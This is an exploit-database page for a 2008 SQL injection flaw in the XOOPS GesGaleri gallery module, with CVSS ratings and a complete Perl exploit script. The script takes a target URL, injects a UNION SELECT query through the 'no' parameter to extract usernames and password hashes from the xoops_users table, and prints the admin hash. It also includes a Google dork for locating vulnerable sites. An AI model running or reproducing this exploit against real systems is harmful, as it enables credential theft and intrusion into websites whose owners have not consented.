XOOPS Module GesGaleri (kategorino) Remote SQL Injection Exploit

2008.12.05
Credit: EcHoLL
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl -w #Xoops GesGaleri Sql injection# ######################################## #[~] Author : EcHoLL #[~] www.warezturk.org www.tahribat.com #[~] Greetz : Black_label TURK Godlike #[!] Module_Name: GesGaleri #[!] Script_Name: XOOPS #[!] Google_Dork: inurl:"/modules/GesGaleri/" ######################################## system("color FF0000"); system("Nohacking"); print "\t\t-------------------------------------------------------------\n\n"; print "\t\t| Turkish Securtiy Team |\n\n"; print "\t\t-------------------------------------------------------------\n\n"; print "\t\t|XOOPS Module GesGaleri(index.php kategorino)Remote SQL Injection Vuln|\n\n"; print "\t\t| Coded by: EcHoLL www.warezturk.org |\n\n"; print "\t\t-------------------------------------------------------------\n\n"; use LWP::UserAgent; print "\nSite ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $column_name="concat(uname,0x3a,pass)"; $table_name="xoops_users"; $b = LWP::UserAgent->new() or die "Could not initialize browser\n"; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $target . "/modules/GesGaleri/index.php?kategorino=5&no=15+union+select+1,2,".$column_name."+from/**/".$table_name."--"; $res = $b->request(HTTP::Request->new(GET=>$host)); $answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){ print "\n[+] Admin Hash : $1\n\n"; print "# Tebrikler Exploit Calisti! #\n\n"; } else{print "\n[-] Exploit Bulunamad&#177;...\n"; }

References:

http://xforce.iss.net/xforce/xfdb/45976


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top